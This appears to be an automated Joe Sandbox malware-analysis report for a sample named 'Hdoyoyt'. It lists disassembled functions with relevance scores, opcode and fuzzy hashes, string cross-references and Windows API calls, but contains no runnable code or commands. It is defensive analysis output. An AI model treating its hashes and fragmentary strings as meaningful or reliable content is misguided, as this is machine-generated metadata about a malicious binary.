API String ID: 0-2392861976
Opcode ID: 4713523623a35736de8dd65c397876cb160ff65714dda58f5c5a16a5e0526433
Instruction ID: e4b4fefa96c063db6012630d039b7126cc28cae4ebf8d16e67ea3de2ad15a327
Opcode Fuzzy Hash: 4713523623a35736de8dd65c397876cb160ff65714dda58f5c5a16a5e0526433
Instruction Fuzzy Hash: 64325131E5071ACFCB54EF75C85499DB7B2FF89300F20D6A9D409AB224EB70A985CB91

Function 060B7DF0 Relevance: 3.0, Strings: 2, Instructions: 485
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 060B8397
$^q, xrefs: 060B838B

Memory Dump Source

Source File: 00000008.00000002.2905854466.00000000060B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_60b0000_Hdoyoyt.jbxd

Similarity

API ID:
String ID: $^q$$^q
API String ID: 0-355816377
Opcode ID: f51fd44b57d0910182c6fae9c692f6f428d4592a277cd94a63319cdfe9b77232
Instruction ID: a71f62b542990aef6a1fd0253327c2a36cc5e930e28df5fd5912f0a9fc70d178
Opcode Fuzzy Hash: f51fd44b57d0910182c6fae9c692f6f428d4592a277cd94a63319cdfe9b77232
Instruction Fuzzy Hash: FB02BF30B012058FDB94DF68D490AAEBBE6EF84304F14C929D406DB3A5DB35ED86CB91

Function 060B240A Relevance: 1.0, Instructions: 1014COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2905854466.00000000060B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_60b0000_Hdoyoyt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 609f0f956496e07294208b1d0508565eec2eea8f6ddf361f54c58cae4f5dda8e
Instruction ID: 316cab0e97b442348647773694ae9f72f4002f4b5033019455328552b46f1167
Opcode Fuzzy Hash: 609f0f956496e07294208b1d0508565eec2eea8f6ddf361f54c58cae4f5dda8e
Instruction Fuzzy Hash: BA926934A402048FDBA4DB68C588AADBBF2FF44314F54D8A9D449AB361DB35ED86CF50

Function 060B6668 Relevance: .8, Instructions: 817COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2905854466.00000000060B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_60b0000_Hdoyoyt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5652510d521578f691045a735000f22c92c2158038113586d12e33cad1163149
Instruction ID: 7307d1888685375538ff13dd431f7aad6e1874dad80539d09731f8a52ab83dd9
Opcode Fuzzy Hash: 5652510d521578f691045a735000f22c92c2158038113586d12e33cad1163149
Instruction Fuzzy Hash: 5162AE30A50204CFDB94DB68D584AADBBF2EF88314F14D569E406EB394DB36ED46CB90

Function 060BC200 Relevance: .6, Instructions: 647COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2905854466.00000000060B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_60b0000_Hdoyoyt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 905d76cdef1172fb4e26feffeaece04b4bf277804d6081e322234052aa2af00f
Instruction ID: 345713f7cdd48175168509729c0029a9486de8c9d12ca7549c03cfa8219a308a
Opcode Fuzzy Hash: 905d76cdef1172fb4e26feffeaece04b4bf277804d6081e322234052aa2af00f
Instruction Fuzzy Hash: 6232A334B402058FEB94DB68D880BAEBBF2FB88314F149529E405DB355DB34ED86CB95

Function 060B5640 Relevance: .6, Instructions: 590COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2905854466.00000000060B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_60b0000_Hdoyoyt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7261e4ce5c5a69adc90da77452e7336cbeadb210203ddbd10abdb8d7333658a
Instruction ID: 0b83307cea0e8936fc42a39953ead9446b5f8dd121afa37e32f406777372613c
Opcode Fuzzy Hash: d7261e4ce5c5a69adc90da77452e7336cbeadb210203ddbd10abdb8d7333658a
Instruction Fuzzy Hash: F1120471F402158FDBA1DF64D8906AEBBF2EB84320F24C869D449DB385DA34DD46CB91

Function 060BB2A2 Relevance: .6, Instructions: 564COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2905854466.00000000060B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_60b0000_Hdoyoyt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6355f51b7152cafcdac70fc239ff4869035ad173a33d4d9b2a6d0a06dcd0412
Instruction ID: 0a87349d9dfecdcf24e2aa4ed88eefcf32b5daf9c00abfb9f30e14a12efdb19c
Opcode Fuzzy Hash: a6355f51b7152cafcdac70fc239ff4869035ad173a33d4d9b2a6d0a06dcd0412
Instruction Fuzzy Hash: 0B226D30E402098FDFA0DA68D590BEDBBE2EB49310F209926E445EB391DF35DD85CB51

Function 060BAD48 Relevance: 12.9, Strings: 10, Instructions: 398
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 060BAE69
$^q, xrefs: 060BAF20
$^q, xrefs: 060BAF14
$^q, xrefs: 060BAEC8
XMh, xrefs: 060BB1E8
$^q, xrefs: 060BAEBC
$^q, xrefs: 060BAEF7
$^q, xrefs: 060BAEEB
$^q, xrefs: 060BAE75
XMh, xrefs: 060BB107

Memory Dump Source

Source File: 00000008.00000002.2905854466.00000000060B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_60b0000_Hdoyoyt.jbxd

Similarity

API ID:
String ID: XMh$XMh$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-1493002815
Opcode ID: fc0edef8a2df6384e4e0e4f078d381a2d2a62a5d6d7fa49f5aa3b6bc44cc3f6e
Instruction ID: 47bfb3584293a328f4319183bdb873c418f81ee571f8fc5fa98aa0c1cecade62
Opcode Fuzzy Hash: fc0edef8a2df6384e4e0e4f078d381a2d2a62a5d6d7fa49f5aa3b6bc44cc3f6e
Instruction Fuzzy Hash: 08E16030F5020A8FDBA5DFA9D5846AEBBF2EF84300F109529E4059B354EB35DC86CB91

Function 060BB6C8 Relevance: 8.0, Strings: 6, Instructions: 469COMMON

Download Yara Rule

Strings

$^q, xrefs: 060BBC27
$^q, xrefs: 060BBC5B
$^q, xrefs: 060BBBFF
$^q, xrefs: 060BBBF3
$^q, xrefs: 060BBC33
$^q, xrefs: 060BBC67

Memory Dump Source

Source File: 00000008.00000002.2905854466.00000000060B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_60b0000_Hdoyoyt.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-2392861976
Opcode ID: 3998f9541dc93d5c3206b90092cb16daa292b46890876cc3c6af22ccef0dd096
Instruction ID: ce5d1ea217c53eed8fbc346a2570826e425b16d2a76790f4f4c95917b05fa07f
Opcode Fuzzy Hash: 3998f9541dc93d5c3206b90092cb16daa292b46890876cc3c6af22ccef0dd096
Instruction Fuzzy Hash: 3F026930E402098FDBA4CB68D580AADBBF2EB85310F24D92AD009DB355DF75DD86CB91

Function 060AB328 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 198
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

XTi, xrefs: 060AB4DB
XTi, xrefs: 060AB4B6

Memory Dump Source

Source File: 00000008.00000002.2905598327.00000000060A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_60a0000_Hdoyoyt.jbxd

Similarity

API ID: HandleModule
String ID: XTi$XTi
API String ID: 4139908857-690823614
Opcode ID: 64a5b42dd5d674764aed87664c2db3f1fd643a568ccc3b4db81a5e74d829c0b3
Instruction ID: 7cff19c06dcbba5422e4aeed595360a1073bfdcb790de0c76da6f0ada777e24b
Opcode Fuzzy Hash: 64a5b42dd5d674764aed87664c2db3f1fd643a568ccc3b4db81a5e74d829c0b3
Instruction Fuzzy Hash: DF713270A00B048FD7A4DF6AD44179ABBF1FF88340F008A29D48AD7B50DB35E949CBA0

Function 060B91C0 Relevance: 5.2, Strings: 4, Instructions: 231
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 060B9230
$^q, xrefs: 060B9277
$^q, xrefs: 060B923C
$^q, xrefs: 060B926B

Memory Dump Source

Source File: 00000008.00000002.2905854466.00000000060B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_60b0000_Hdoyoyt.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q
API String ID: 0-2125118731
Opcode ID: 9837d19de7904eea91a752ec84e318e401ba939294da87161abd5f4a4d5f8b62
Instruction ID: 6f5486ca66edff4ff35325e1cfb5840393d996f36515a1fa0f0e153f323c0814
Opcode Fuzzy Hash: 9837d19de7904eea91a752ec84e318e401ba939294da87161abd5f4a4d5f8b62
Instruction Fuzzy Hash: 91918F30F0021A8FDBA4DB65D890BAEB7F6AFC9200F108569C509EB354EB30DD468F95

Function 060BCFB8 Relevance: 4.5, Strings: 3, Instructions: 798
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 060BD3B7
$^q, xrefs: 060BD3C3
$^q, xrefs: 060BD3AF

Memory Dump Source

Source File: 00000008.00000002.2905854466.00000000060B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_60b0000_Hdoyoyt.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q
API String ID: 0-831282457
Opcode ID: 1188134cc4328b580b0ee43cbf2038877d96d71c5e39eb8bc159423e39352073
Instruction ID: 7f1101676c8b6e8aa5d93fe9821c71968e6f3281057ed868bdc666860db6989b
Opcode Fuzzy Hash: 1188134cc4328b580b0ee43cbf2038877d96d71c5e39eb8bc159423e39352073
Instruction Fuzzy Hash: 50624130A402168FCB55EB68E590A9DBBF2FF85304F14D929D0099F369DB71ED4ACB90

Function 060B4C10 Relevance: 3.9, Strings: 3, Instructions: 186
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

fcq, xrefs: 060B4C3B
XPcq, xrefs: 060B4D61
\Ocq, xrefs: 060B4DEB

Memory Dump Source

Source File: 00000008.00000002.2905854466.00000000060B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_60b0000_Hdoyoyt.jbxd

Similarity

API ID:
String ID: fcq$XPcq$\Ocq
API String ID: 0-3575482020
Opcode ID: 460fc9fca308bd1826c21455768d47c7d963216fa30d2fdba674a78c2eff2172
Instruction ID: d2b3914204ff397ef3db45cb535843721e79e3b0b9b67fef282e96309172fcd4
Opcode Fuzzy Hash: 460fc9fca308bd1826c21455768d47c7d963216fa30d2fdba674a78c2eff2172
Instruction Fuzzy Hash: 3861B130F002189FEB94AFA5D8547AEBBF2FF88710F208529E009AB395DF754D458B55

Function 060B91B3 Relevance: 2.7, Strings: 2, Instructions: 170
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 060B9230
$^q, xrefs: 060B926B

Memory Dump Source

Source File: 00000008.00000002.2905854466.00000000060B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_60b0000_Hdoyoyt.jbxd

Similarity

API ID:
String ID: $^q$$^q
API String ID: 0-355816377
Opcode ID: 2022b882da606232034dbe22c004e4e5fd39b906441e2140caf3d0b3fda4ac67
Instruction ID: 96ca5457ccbdc6560a679effb665c598622f2f05867f64b3873fbf5cda64d97e
Opcode Fuzzy Hash: 2022b882da606232034dbe22c004e4e5fd39b906441e2140caf3d0b3fda4ac67
Instruction Fuzzy Hash: E151A130F001059FDBA4DB74D990BAEB7F6ABC9200F108569C40AEB398EA30DD478B95

Function 060B4C00 Relevance: 2.6, Strings: 2, Instructions: 139COMMON

Download Yara Rule

Strings

fcq, xrefs: 060B4C3B
XPcq, xrefs: 060B4D61

Memory Dump Source

Source File: 00000008.00000002.2905854466.00000000060B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_60b0000_Hdoyoyt.jbxd

Similarity

API ID:
String ID: fcq$XPcq
API String ID: 0-936005338
Opcode ID: cbe515803cb428fb5878aafc4aad0c6c8939b1d2a9cbb8b112ac4a6d2af38f30
Instruction ID: 822b64837660f340d083c0f91beb2f71ed6cbc149e3a4ddaa73f7aeb9e9036c5
Opcode Fuzzy Hash: cbe515803cb428fb5878aafc4aad0c6c8939b1d2a9cbb8b112ac4a6d2af38f30
Instruction Fuzzy Hash: 9B51A130F002189FDB449FA5C854BAEBBF7EF88700F208529E045AB395DF748D018B95

Function 060AD504 Relevance: 1.6, APIs: 1, Instructions: 118COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 060AD622

Memory Dump Source

Source File: 00000008.00000002.2905598327.00000000060A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_60a0000_Hdoyoyt.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 19bb4cb4148ef3b090d0df1a83ff9c71f8d4c79cf61878cda7c6bddc48925ddd
Instruction ID: 71d65ebabd8492a474672274f5ab7e1e0033f6621406778ee7f17a62bcf0c9a2
Opcode Fuzzy Hash: 19bb4cb4148ef3b090d0df1a83ff9c71f8d4c79cf61878cda7c6bddc48925ddd
Instruction Fuzzy Hash: 4751CDB1D003499FDB14CFA9C884ADEBFB5BF48354F24852AE819AB250D7719885CF91

Function 060AD510 Relevance: 1.6, APIs: 1, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 060AD622

Memory Dump Source

Source File: 00000008.00000002.2905598327.00000000060A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_60a0000_Hdoyoyt.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 1231927c45825735ff2c5e3962584d91b80a8a5b19eebc63ab6aea588bde2e08
Instruction ID: 5324b01435a59e57cf6275b342f1b36a5d8617cee6ef10eeb232553b7383efb9
Opcode Fuzzy Hash: 1231927c45825735ff2c5e3962584d91b80a8a5b19eebc63ab6aea588bde2e08
Instruction Fuzzy Hash: 1041BDB1D003499FDB14CFA9C884ADEBFB5BF48350F24852AE818AB250D775A885CF91

Function 060AE49C Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 060AFD11

Memory Dump Source

Source File: 00000008.00000002.2905598327.00000000060A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_60a0000_Hdoyoyt.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 1df2ff43b329f46c786448d0bdd2fd60204f629147bc0000f2e7d2083b34d190
Instruction ID: f504375fa197b35f3f6b897670c870e0299f66357837020e9d048c5befdc93ac
Opcode Fuzzy Hash: 1df2ff43b329f46c786448d0bdd2fd60204f629147bc0000f2e7d2083b34d190
Instruction Fuzzy Hash: 7F4118B4A00305DFDB54CF99C588AAABBF5FF88314F24C859D519AB321D774A841CFA4

Function 060A3048 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 060A30D7

Memory Dump Source

Source File: 00000008.00000002.2905598327.00000000060A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_60a0000_Hdoyoyt.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 3a6698c1294c61fd9ca130eaf09aa49555e6daf7fb1f8c038f0bbd3b205462d7
Instruction ID: 19a0eb6eea13a558c80cc3cd1b98d08785d08bc124d491fd03232417b871a486
Opcode Fuzzy Hash: 3a6698c1294c61fd9ca130eaf09aa49555e6daf7fb1f8c038f0bbd3b205462d7
Instruction Fuzzy Hash: 5A21E0B5D002589FDB10CFAAD984AEEBFF4EB48310F14841AE958A7350D379A950CFA5

Function 060A3050 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 060A30D7

Memory Dump Source

Source File: 00000008.00000002.2905598327.00000000060A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_60a0000_Hdoyoyt.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 4647337ff5fc7bbfc9289cdeec64cf1b48ddfd8c411acdb75afd1b0e4969c99c
Instruction ID: 96233a4cca477e3fde045761a198fb3b54dd0e6a0f50a094def4f31cccdf3921
Opcode Fuzzy Hash: 4647337ff5fc7bbfc9289cdeec64cf1b48ddfd8c411acdb75afd1b0e4969c99c
Instruction Fuzzy Hash: 5421E3B59003589FDB10CF9AD984ADEBFF4EB48310F14841AE954A3210D375A940CFA5

Function 006EEBD7 Relevance: 1.6, APIs: 1, Instructions: 59COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNELBASE ref: 006EEC57

Memory Dump Source

Source File: 00000008.00000002.2867528052.00000000006E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 006E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6e0000_Hdoyoyt.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: e120b4d1529445e7f3705173b3f6569a1f35073ec7535cee5099a7b24cda6678
Instruction ID: db1d559e8e47e5ae8d1669e558ed95e01b2bec976c2137d8bb491972e1628f7b
Opcode Fuzzy Hash: e120b4d1529445e7f3705173b3f6569a1f35073ec7535cee5099a7b24cda6678
Instruction Fuzzy Hash: E82144B1C0026ACFCB10CFAAD54479EFBF0AF08320F24856AD468B7250C378A944CFA5

Function 060AB77A Relevance: 1.6, APIs: 1, Instructions: 54libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,?,?), ref: 060AB7EA

Memory Dump Source

Source File: 00000008.00000002.2905598327.00000000060A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_60a0000_Hdoyoyt.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: a5b0546fbc95bdaa37a0643198eff42c92000107a620dd0272600ec988fcf82e
Instruction ID: 182e0168e30fca71422a8908a55818ff9a122f2d3aa00df5eb0284c392831933
Opcode Fuzzy Hash: a5b0546fbc95bdaa37a0643198eff42c92000107a620dd0272600ec988fcf82e
Instruction Fuzzy Hash: AA11F6B6D003499FDB20CF9AD844ADEFFF8EB48350F10842AD459A7210C775A545CFA5

Function 060AB780 Relevance: 1.6, APIs: 1, Instructions: 52libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,?,?), ref: 060AB7EA

Memory Dump Source

Source File: 00000008.00000002.2905598327.00000000060A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_60a0000_Hdoyoyt.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8475b6d562d831e1c2fb5d5381acc57ed8925fcf0428684189bf3e0ef6d53b6b
Instruction ID: cf58ec0881cca13cdcb461acf27f66265f062c8815fd444ab02b8a03fbbc9b84
Opcode Fuzzy Hash: 8475b6d562d831e1c2fb5d5381acc57ed8925fcf0428684189bf3e0ef6d53b6b
Instruction Fuzzy Hash: ED11F3B6D003498FDB10CF9AD844ADEFFF8EB48350F10842AD459A7210C375A545CFA5

Function 006EEBF0 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNELBASE ref: 006EEC57

Memory Dump Source

Source File: 00000008.00000002.2867528052.00000000006E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 006E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6e0000_Hdoyoyt.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: 64c9029757dcda0a18ce0c4b67b8f609df106113dcf82d08986f99af9e5264d9
Instruction ID: faeaee0fca45d965b1c2ef888942370529403c629c3a062637ee04ecc6b61776
Opcode Fuzzy Hash: 64c9029757dcda0a18ce0c4b67b8f609df106113dcf82d08986f99af9e5264d9
Instruction Fuzzy Hash: D11112B1C002699BCB10DF9AC544BDEFBF4AB48320F10816AD828B7240D378A944CFA5

Function 060AA28C Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000,?,?,?,?,?,?,?,060AB344), ref: 060AB57E

Memory Dump Source

Source File: 00000008.00000002.2905598327.00000000060A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_60a0000_Hdoyoyt.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 3a947b81873f2049914304b8abb164b4fe926720261aede1497583c729ad8484
Instruction ID: e5ced31de40d64dc266013ccc3365ba870c221702508b1b4877ca4c7f196eca2
Opcode Fuzzy Hash: 3a947b81873f2049914304b8abb164b4fe926720261aede1497583c729ad8484
Instruction Fuzzy Hash: 7711FDB5C003498FDB20DFAAD444BDEFBF4EB88324F14842AD859A7210D379A545CFA5

Function 060BDB2D Relevance: 1.4, Strings: 1, Instructions: 122COMMON

Download Yara Rule

Strings

PH^q, xrefs: 060BDC89

Memory Dump Source

Source File: 00000008.00000002.2905854466.00000000060B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_60b0000_Hdoyoyt.jbxd

Similarity

API ID:
String ID: PH^q
API String ID: 0-2549759414
Opcode ID: 074a692962f32cf1d7c68a5c1608f5ae4980dfff4b60effe541c14d136385287
Instruction ID: a8d428ab7e57b99d555d4b830e6bc784fa9e8ad5f4c794ba9da9b66a3436bc0b
Opcode Fuzzy Hash: 074a692962f32cf1d7c68a5c1608f5ae4980dfff4b60effe541c14d136385287
Instruction Fuzzy Hash: 9C41BF70E4020ADFDB95DFA4D4546AEFFF2AF85300F20892AD405EB280DB75D946CB91

Function 060B227D Relevance: 1.4, Strings: 1, Instructions: 110COMMON

Download Yara Rule

Strings

PH^q, xrefs: 060B23CB

Memory Dump Source

Source File: 00000008.00000002.2905854466.00000000060B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_60b0000_Hdoyoyt.jbxd

Similarity

API ID:
String ID: PH^q
API String ID: 0-2549759414
Opcode ID: 2bf4cd3185b95a28fc56982848de898a3f24382c8cdd929d01e2e47a0262d6b7
Instruction ID: 8270a4e165802baedd36e666832be142f22d8f7799d1c12780fae1dbcc2f2b38
Opcode Fuzzy Hash: 2bf4cd3185b95a28fc56982848de898a3f24382c8cdd929d01e2e47a0262d6b7
Instruction Fuzzy Hash: 00312130B002009FDB99AB70C8546AF7BE3AF89600F10956DD406DB391DE35DE46CBE5

Function 060B2290 Relevance: 1.4, Strings: 1, Instructions: 105COMMON

Download Yara Rule

Strings

PH^q, xrefs: 060B23CB

Memory Dump Source

Source File: 00000008.00000002.2905854466.00000000060B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_60b0000_Hdoyoyt.jbxd

Similarity

API ID:
String ID: PH^q
API String ID: 0-2549759414
Opcode ID: ca1782a62e73303d0ae5859a54673e516a25a42a29816fe68615f22cc9bded15
Instruction ID: e6e43593a8ce6c7c647d8ce950aac66a4f0d6b11cd485191ccf129149c595c6d
Opcode Fuzzy Hash: ca1782a62e73303d0ae5859a54673e516a25a42a29816fe68615f22cc9bded15
Instruction Fuzzy Hash: 8F311E30B002059FDB99AB74C5546BE7AE3AB89B00F209429D406DB394DE35EE46CBA5

Function 060B8340 Relevance: 1.3, Strings: 1, Instructions: 40COMMON

Download Yara Rule

Strings

$^q, xrefs: 060B838B

Memory Dump Source

Source File: 00000008.00000002.2905854466.00000000060B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_60b0000_Hdoyoyt.jbxd

Similarity

API ID:
String ID: $^q
API String ID: 0-388095546
Opcode ID: 5c590702cc80580a45f2654c09e776157f232f8360b83c8437f68c10b579039f
Instruction ID: c3a05f8afb1b75b3591c500500ec3d1025461e024c5467b85cf8c72e269832d9
Opcode Fuzzy Hash: 5c590702cc80580a45f2654c09e776157f232f8360b83c8437f68c10b579039f
Instruction Fuzzy Hash: 07F0D134A40204CFDFA49E44E981AEC7BE9EB40700F04E025D806CB225D731DA46CB50

Function 060B6268 Relevance: .2, Instructions: 229COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2905854466.00000000060B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_60b0000_Hdoyoyt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 09973bea5501364545ffbb58d92d15118da0105761fdea652f63c25615e203af
Instruction ID: 4427af232dfbf0f036d891a3b171f5da0746d1da1da5748dd25bedb652d18353
Opcode Fuzzy Hash: 09973bea5501364545ffbb58d92d15118da0105761fdea652f63c25615e203af
Instruction Fuzzy Hash: B861E071F500214FDF909B7EC894AAFAAD7AFC4620B15403AD80EDB364DE66DD0287D6

Function 060B4341 Relevance: .2, Instructions: 229COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2905854466.00000000060B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_60b0000_Hdoyoyt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cac593ccf6c64f9c56e9627ef018be72d72bd7e7c6974a87d22b758c8fd0bf2d
Instruction ID: 062372100b91560ece255aee329ad2fcd2baae53cd6da3a5547448a649e2523e
Opcode Fuzzy Hash: cac593ccf6c64f9c56e9627ef018be72d72bd7e7c6974a87d22b758c8fd0bf2d
Instruction Fuzzy Hash: 0C819030B002058FDF94DFA9D4906AEBBF2AF89304F148529D40ADB399EB30ED468B51

Function 060B4660 Relevance: .2, Instructions: 221COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2905854466.00000000060B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_60b0000_Hdoyoyt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 65fa9e68ee47ea76ed11553f84805644747db9f6e09ed83380082082753e81f7
Instruction ID: 9a0303d526b44f9fba86b17f18af53d9b86df290b6a967626de05cce6a5b0723
Opcode Fuzzy Hash: 65fa9e68ee47ea76ed11553f84805644747db9f6e09ed83380082082753e81f7
Instruction Fuzzy Hash: 40912C30E102198BDF50DF68C990BDDBBB1FF89310F20C699D549AB295DB70AA85CB91

Function 060B4678 Relevance: .2, Instructions: 210COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2905854466.00000000060B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_60b0000_Hdoyoyt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 12ae8d2c4a4d54c557d50c2c1b947639fbd3be5fc2efb05a346d2efa8848531f
Instruction ID: e012563ebd207a21e63e31a38d31d50f49ebb1188524d1980b0bb9dea60e1dbb
Opcode Fuzzy Hash: 12ae8d2c4a4d54c557d50c2c1b947639fbd3be5fc2efb05a346d2efa8848531f
Instruction Fuzzy Hash: EB912B30E102198BDF60DF68C990BDDB7B2FF89310F20C699D549AB355DB70AA858F91

Function 060BEB98 Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

